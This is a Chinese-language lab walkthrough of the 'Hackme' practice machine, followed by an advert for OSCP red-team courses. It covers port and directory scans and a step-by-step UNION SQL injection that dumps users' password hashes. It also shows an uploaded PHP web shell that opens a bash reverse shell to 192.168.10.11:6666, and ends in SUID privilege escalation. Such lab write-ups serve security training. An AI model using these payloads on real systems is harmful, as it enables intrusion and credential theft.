一、探测靶机IP(进行信息收集)
主机发现
arp-scan -l
nmap -sS -sV -T5 -p- 192.168.10.23 -A
二、进行目录枚举
dirb http://192.168.10.23
发现uploads上传路径
nikto -h http://192.168.10.23
发现config.php,可能有账号和密码
尝试利用php伪协议均没成功
http://192.168.10.23/login.php?page=php://filter/read=convert.base64-encode/resource=config.php%23
http://192.168.10.23/login.php?page=file:///var/www/html/config.php
http://192.168.10.23/welcome.php?page=php://filter/read=convert.base64-encode/resource=config.php%23
进入网页有一个登录界面,尝试万能密码无果,直接去注册了一个用户,密码长度最少6位,地址随便填
点击searcch可以看到有很多书名
三、SQL注入
判断字段数量
Linux OS' order by 3 #
字段数为3,到4就不行了
查数据库
Linux OS' union select 1,database(),3 #
得到数据库名为webapphacking
查webapphacking数据库的表名
Linux OS' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema= "webapphacking" #
得到books和users表名
列webapphacking数据库的users表
Linux OS' union select 1,group_concat(column_name),3 from information_schema.columns where table_schema="webapphacking" and table_name="users" #
获取users表中username和password列的数据
Linux OS' union select 1,group_concat(user,0x7e,name,0x7e,pasword),3 from users #
这是md5加密,MD5解密
David~5d41402abc4b2a76b9719d911017c592 hello
Beckham~6269c4f71a55b24bad0f0267d9be5508 commando
anonymous~0f359740bd1cda994f8b55330c86d845 p@ssw0rd
testismyname~05a671c66aefea124cc08b76ea6d30bb testtest
superadmin~2386acb2cf356944177746fc92523983 Uncrackable
test1~05a671c66aefea124cc08b76ea6d30bb testtest
yzy~e10adc3949ba59abbe56e057f20f883e 123456
四、反弹shell
知道了superadmin的密码,直接去登录
看到文件上传,以为还会要有一些绕过,但是可以直接上传一句话木马
上传shell.php
<?php exec("/bin/bash -c 'bash -i >& /dev/tcp/192.168.10.11/6666 0>&1'");?>
反弹成功
五、提权
根据前面的nikto扫描可知存在config.php,直接cat得到MySQL数据库root密码,hackme1qaz@WSX
建立交互式终端
python -c "import pty; pty.spawn('/bin/bash');"
登录mysql数据库,hackme1qaz@WSX
mysql -uroot -p
show databases;
这几个数据库都看了,没有什么信息
看看能不能UDF提权
查询与“安全”相关的全局变量
show global variables like '%secure%';
require_secure_transport:当前值为 **OFF
**,这意味着客户端可以使用非安全的连接方式连接到MySQL服务器
secure_auth:当设置为ON
时,服务器将拒绝使用旧的认证方式(如旧的mysql_native_password
哈希格式)进行连接的客户端;设置为OFF
时,支持旧的认证方式。
secure_file_priv:当前值为 **/var/lib/mysql-files/
**,这表示LOAD DATA INFILE
和SELECT ... INTO OUTFILE
等语句只能对/var/lib/mysql-files/
目录下的文件进行操作
显示插件相关配置
show variables like '%plugin%';
plugin_dir = /usr/lib/mysql/plugin
:表示MySQL加载插件的目录路径 UDF****相关:用户定义的UDF需编译为共享库(如.so
文件),并放置在此目录下,才能通过CREATE FUNCTION
加载。需确保MySQL进程有权限读取此目录。
但是我们没有写入的权限,前面的**/var/lib/mysql-files/**也没有权限进入
进行信息搜集,去home目录看看,看看能不能suid提权,内核提权,定时任务提权
www-data@hackme:/$ cd home
cd home
www-data@hackme:/home$ ls
ls
hackme legacy
www-data@hackme:/home$ cd hackme
cd hackme
www-data@hackme:/home/hackme$ ls -la
ls -la
total 48
drwxr-xr-x 5 hackme hackme 4096 Mar 25 2019 .
drwxr-xr-x 4 root root 4096 Mar 26 2019 ..
-rw------- 1 hackme hackme 5794 Mar 27 2019 .bash_history
-rw-r--r-- 1 hackme hackme 220 Sep 12 2018 .bash_logout
-rw-r--r-- 1 hackme hackme 3771 Sep 12 2018 .bashrc
drwx------ 2 hackme hackme 4096 Mar 13 2019 .cache
drwx------ 3 hackme hackme 4096 Mar 13 2019 .gnupg
drwxrwxr-x 3 hackme hackme 4096 Mar 21 2019 .local
-rw------- 1 root root 5588 Mar 25 2019 .mysql_history
-rw-r--r-- 1 hackme hackme 807 Sep 12 2018 .profile
-rw-r--r-- 1 hackme hackme 0 Mar 13 2019 .sudo_as_admin_successful
在hackme目录下也没有什么信息,但是在legacy目录下发现一个touchment,我们有权限执行和查看
www-data@hackme:/home/legacy$ ls
ls
touchmenot
www-data@hackme:/home/legacy$ ls -la
ls -la
total 20
drwxr-xr-x 2 root root 4096 Mar 26 2019 .
drwxr-xr-x 4 root root 4096 Mar 26 2019 ..
-rwsr--r-x 1 root root 8472 Mar 26 2019 touchmenot
查看后发现应该是个二进制文件,去执行看看,执行后发现直接root了
END
oscp
有对红队工作感兴趣,或者有意报考oscp的师傅,可以考虑一下我们的培训课程,加我微信咨询,好处如下:
1.报考后课程随时可看,并且如果对考试没有信心,还可以留群跟第二批课程学习,不限次数时间,报考即是一辈子可看
2.200+台靶机及官方课程,lab靶机+域的内容团队泷老师和小羽老师会带大家全部过一遍,并且群内随时答疑,团队老师及群友都会积极解答,全天可答疑
3.目前可接受分期付款,无利息,最多分四个月,第一次付完即可观看视频
4.加入课程可享受工作推荐机会,优秀者可内推至红队
5.报考即送送官方文档中文版,以及kali命令详解中文版,纯人工翻译,版权为团队所有
知识星球
还可以加入我们的知识星球,包含cs二开,甲壳虫,红盟工具等,还有很多src挖掘资料包
原文始发于微信公众号(泷羽Sec-临观):打靶日记 Hackme
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论